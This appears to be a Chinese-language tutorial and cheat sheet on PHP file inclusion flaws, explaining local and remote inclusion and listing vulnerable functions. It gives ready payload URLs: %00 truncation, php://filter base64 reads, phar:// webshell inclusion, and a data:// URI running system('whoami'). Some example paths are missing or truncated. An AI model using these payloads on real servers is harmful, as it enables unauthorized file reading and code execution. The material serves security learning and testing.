網頁文件包含漏洞(file inclusion)

web php 文件包含漏洞是“代碼注入“的一種。代碼注入的原理就是注入一段用戶能控制的腳本或代碼,並讓服務端執行

常見的導致文件包含的函數如下:

PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….

JSP/Servlet: ava.io.File(),java.io.FileReader() …

ASP:include file, include virtual…

PHP文件包含主要由這四個函數完成:

include()
require()
include_once()
require_once()

當使用這4個函數包含一個新的文件時,該文件將作爲PHP代碼執行,PHP內核並不會在意該被包含文件是什麼類型。所以如果被包含的是txt文件、圖片文件、遠程URL,也都將作爲PHP代碼執行。

本地文件包含

在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別,即下面兩個url是完全等效的。

A http://ip/a.php?page=…\php.ini
B http://ip/a.php?page=…\php.ini%00xx.php

使用%00截斷可以繞過某些過濾規則,例如要求page參數的後綴必須爲php,這時鏈接A會讀取失敗,而鏈接B可以繞過規則成功讀取

常用語法:

http://xx/								讀取session文件

http://xx/xx.file						包含上傳的附件

http://xx/error.log						包含錯誤日誌

http://xx/	httpd.conf					獲取web目錄或者其他配置文件

http://xx/?page=file.txt%00xx.php			%00截斷

http://xx/page=file:///c:/flagvalue.txt 		使用file:///path  查看文件

phpinfo()								 查看臨時文件存放目錄,包含臨時文件

phar://壓縮文件名/webshell.php			壓縮webshell.php      				

http://?page=php://filter/read=convert.base64-encode/resource=xx.file 

hints about php://filter

php://filter/source=<filename>		 讀取文件內容
php://filter/read=string.toupper/source=<fileanme>`  
 將文件內容轉換大寫輸出
 php://filter/read=string.tolower/source=<filename>`  
將文件內容轉換小寫輸出
php://filter/read=string.strip_tags/source=<filename>	
去除文件內容中html標籤輸出
php://filter/read=convert.base64-decode/resource=<filename>
將文件內容base64解密後輸出
php://filter/read=convert.base64-encode/resource=<filename>
將文件內容base64加密後輸出

遠程文件包含

選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會允許包含遠程服務器上的文件

http://xx/?page=data://text/plain,<?php system("whoami")?>	

執行php 代碼 system函數

http://xx/?page=data://text/plain;base64,base64Code          

利用data URIs

data://image/jpeg;base64,...
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章